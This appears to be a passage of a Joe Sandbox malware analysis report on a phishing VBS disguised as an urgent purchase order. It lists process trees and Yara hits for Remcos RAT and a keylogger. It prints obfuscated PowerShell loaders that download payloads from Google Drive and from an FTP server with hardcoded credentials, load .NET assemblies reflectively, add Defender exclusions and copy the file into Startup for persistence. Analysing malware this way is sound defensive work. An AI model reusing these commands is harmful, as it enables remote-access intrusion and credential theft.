'OAGQAcQ' + [char]66 + 'hAE4AMQAnACAAKwAgAEkAbw' + [char]66 + 'xAGEARgAkACgAIAA9ACAASQ' + [char]66 + 'vAHEAYQ' + [char]66 + 'GACQAewAgACkAIA' + [char]66 + 'yAG0ARQ' + [char]66 + '3AGoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAJwA0ADYAJwAoAHMAbg' + [char]66 + 'pAGEAdA' + [char]66 + 'uAG8AQwAuAEUAUg' + [char]66 + 'VAFQAQw' + [char]66 + 'FAFQASQ' + [char]66 + 'IAEMAUg' + [char]66 + '' + [char]66 + 'AF8AUg' + [char]66 + 'PAFMAUw' + [char]66 + 'FAEMATw' + [char]66 + 'SAFAAOg' + [char]66 + '2AG4AZQAkACAAPQAgAHIAbQ' + [char]66 + 'FAHcAagAkADsAJwA9AGQAaQAmAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8AZAA9AHQAcg' + [char]66 + 'vAHAAeA' + [char]66 + 'lAD8AYw' + [char]66 + '1AC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAdg' + [char]66 + 'pAHIAZAAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'JAG8AcQ' + [char]66 + 'hAEYAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'UAHIASA' + [char]66 + 'WAHUAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAVA' + [char]66 + 'yAEgAVg' + [char]66 + '1ACQAewAgACkAIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAMgAoAHMAbA' + [char]66 + 'hAHUAcQ' + [char]66 + 'FAC4Acg' + [char]66 + 'vAGoAYQ' + [char]66 + 'NAC4Abg' + [char]66 + 'vAGkAcw' + [char]66 + 'yAGUAVgAuAHQAcw' + [char]66 + 'vAGgAJAAgAD0AIA' + [char]66 + 'MAEEAcg' + [char]66 + '3AEoAJAAgADsA';$rtnbm = $qKKzc; ;$rtnbm = $qKKzc.replace('???' , 'B') ;;$lpnhb = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $rtnbm ) ); $lpnhb = $lpnhb[-1..-$lpnhb.Length] -join '';$lpnhb = $lpnhb.replace('%XRqhI%','C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs');powershell $lpnhb
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:3
                                                      Start time:01:09:59
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff66e660000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:4
                                                      Start time:01:10:02
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:5
                                                      Start time:01:10:07
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:6
                                                      Start time:01:10:07
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000006.00000002.2268735686.000002AE00222000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:7
                                                      Start time:01:10:07
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\cmd.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"
                                                      Imagebase:0x7ff7a6160000
                                                      File size:289'792 bytes
                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:8
                                                      Start time:01:10:08
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1"
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:9
                                                      Start time:01:10:10
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                      Imagebase:0x7ff717f30000
                                                      File size:496'640 bytes
                                                      MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                      Has elevated privileges:true
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:13
                                                      Start time:01:10:16
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1"
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                      • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:14
                                                      Start time:01:10:16
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\cmd.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:cmd.exe /c del "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs"
                                                      Imagebase:0x7ff7a6160000
                                                      File size:289'792 bytes
                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:17
                                                      Start time:01:10:19
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                      Imagebase:0x6f0000
                                                      File size:43'008 bytes
                                                      MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000011.00000002.3438933111.00000000028BF000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
                                                      Has exited:false

                                                      General

                                                      Target ID:18
                                                      Start time:01:10:21
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\cmd.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                                                      Imagebase:0x7ff7a6160000
                                                      File size:289'792 bytes
                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:19
                                                      Start time:01:10:21
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff66e660000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:20
                                                      Start time:01:10:21
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                      Has exited:true

                                                      General

                                                      Target ID:21
                                                      Start time:01:10:21
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff66e660000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:22
                                                      Start time:01:10:24
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                      Imagebase:0xa90000
                                                      File size:43'008 bytes
                                                      MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000016.00000002.2408800812.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                      • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                      • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                      Has exited:true

                                                      General

                                                      Target ID:23
                                                      Start time:01:10:29
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\cmd.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                                                      Imagebase:0x7ff7a6160000
                                                      File size:289'792 bytes
                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:24
                                                      Start time:01:10:29
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff66e660000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:25
                                                      Start time:01:10:29
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                                                      Imagebase:0x7ff6e3d50000
                                                      File size:452'608 bytes
                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                      Has exited:true

                                                      General

                                                      Target ID:26
                                                      Start time:01:10:29
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\System32\conhost.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      Imagebase:0x7ff66e660000
                                                      File size:862'208 bytes
                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Has exited:true

                                                      General

                                                      Target ID:28
                                                      Start time:01:10:32
                                                      Start date:07/10/2024
                                                      Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                      Imagebase:0x540000
                                                      File size:43'008 bytes
                                                      MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000001C.00000002.2498769602.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                      Has exited:true

                                                      Disassembly

                                                      Reset < >

                                                        Executed Functions

                                                        Function 00007FFD348F0002 Relevance: 2.9, Instructions: 2858COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.3278850422.00007FFD348F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffd348f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b7f6008674425cd5f32e66d50e3220c8ccd272de26ef14b2a1349d5b56647cf7
                                                        • Instruction ID: fbee15c60e1951420789acbe11619882dd12a6025add7394c93d421b2136be8c
                                                        • Opcode Fuzzy Hash: b7f6008674425cd5f32e66d50e3220c8ccd272de26ef14b2a1349d5b56647cf7
                                                        • Instruction Fuzzy Hash: A033797060CA898FDBB8DB08C4A4AB977E1FBA9345F144D7EC04DE7691CB765881DB02
                                                        Function 00007FFD346E5A75 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.3269247156.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 879748b252dddbc2804d495b4e9629c305314b6c613d7ad5b88c387fcb5349e3
                                                        • Instruction ID: f1476e8cbd23f6cc412afbc079b5ec0437022ef3026953d2a4a23165bd513efd
                                                        • Opcode Fuzzy Hash: 879748b252dddbc2804d495b4e9629c305314b6c613d7ad5b88c387fcb5349e3
                                                        • Instruction Fuzzy Hash: AD01677121CB0C4FD754EF4CE491AA6B7E0FB95364F10056EE58AC3651D636E881CB46

                                                        Non-executed Functions

                                                        Function 00007FFD346E47FA Relevance: 1.4, Strings: 1, Instructions: 154COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.3269247156.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: L
                                                        • API String ID: 0-2909332022
                                                        • Opcode ID: 227b5b5a13ee3aebf3d07801dbfe0af96d639d2892a77c3e708302f5a0f27855
                                                        • Instruction ID: 671973ddb46532115f77876a3ce0c3cc6d7fe3d6c1e74f75e55db2217a5fb969
                                                        • Opcode Fuzzy Hash: 227b5b5a13ee3aebf3d07801dbfe0af96d639d2892a77c3e708302f5a0f27855
                                                        • Instruction Fuzzy Hash: DA414247B0D6E21BE362953C6DE60DB7BD4DE93175B1E40B7C6C4C7083A90D544BA2A3
                                                        Function 00007FFD346E46FA Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.3269247156.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: L
                                                        • API String ID: 0-2909332022
                                                        • Opcode ID: bc86ef37eacca7186430ab998a928c67f71be59db50a93b28e23fa3653c315d9
                                                        • Instruction ID: c01e58b0436e66e706ab69006a33fb75a5127240e56cfd6de9f0dabeda64109a
                                                        • Opcode Fuzzy Hash: bc86ef37eacca7186430ab998a928c67f71be59db50a93b28e23fa3653c315d9
                                                        • Instruction Fuzzy Hash: 5E416657B0D6E21BEA22597D2DF60EA7BD0EE9327570E40B7C684C70D39D0E144B92E2
                                                        Function 00007FFD346E53F2 Relevance: 1.4, Strings: 1, Instructions: 141COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.3269247156.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: 4
                                                        • API String ID: 0-4088798008
                                                        • Opcode ID: a06f3a30a40c4455e56def92f676057ffc11df97d91affc2eb1c3c4d6872bc9d
                                                        • Instruction ID: 618d3ee142515a1aa322d20edcb2ab4ec32c51a56aa7eef8afbec70faa1bcd0d
                                                        • Opcode Fuzzy Hash: a06f3a30a40c4455e56def92f676057ffc11df97d91affc2eb1c3c4d6872bc9d
                                                        • Instruction Fuzzy Hash: 21416207B0D7F25AE7A255BC59B60FA3FE49E5326670D00B7C684CF093AC0D184BA262
                                                        Function 00007FFD346E45FB Relevance: .1, Instructions: 138COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.3269247156.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: fbf6a4dccb5d88268404e6759aa254c4b7243afba74a2722cc53418521cf1517
                                                        • Instruction ID: 31a80eb415d9aa2a532d51623de026dec305294418c4f13e4c822f42d09cb2d9
                                                        • Opcode Fuzzy Hash: fbf6a4dccb5d88268404e6759aa254c4b7243afba74a2722cc53418521cf1517
                                                        • Instruction Fuzzy Hash: CE412057B0D6E25BE7634A7C19FA0DA3BE0DE5326570E00F7C6C4CB093D90E144BA692
                                                        Function 00007FFD346E3EFA Relevance: .1, Instructions: 118COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000002.00000002.3269247156.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_2_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8104330c4802efc6fa2a6ce37b052694c27bbd5faf607d3852c4750c6f1a280b
                                                        • Instruction ID: 678ba09611c6efd90d67633aba2eed00a28d09eea83e18182c7b42d62a6cac13
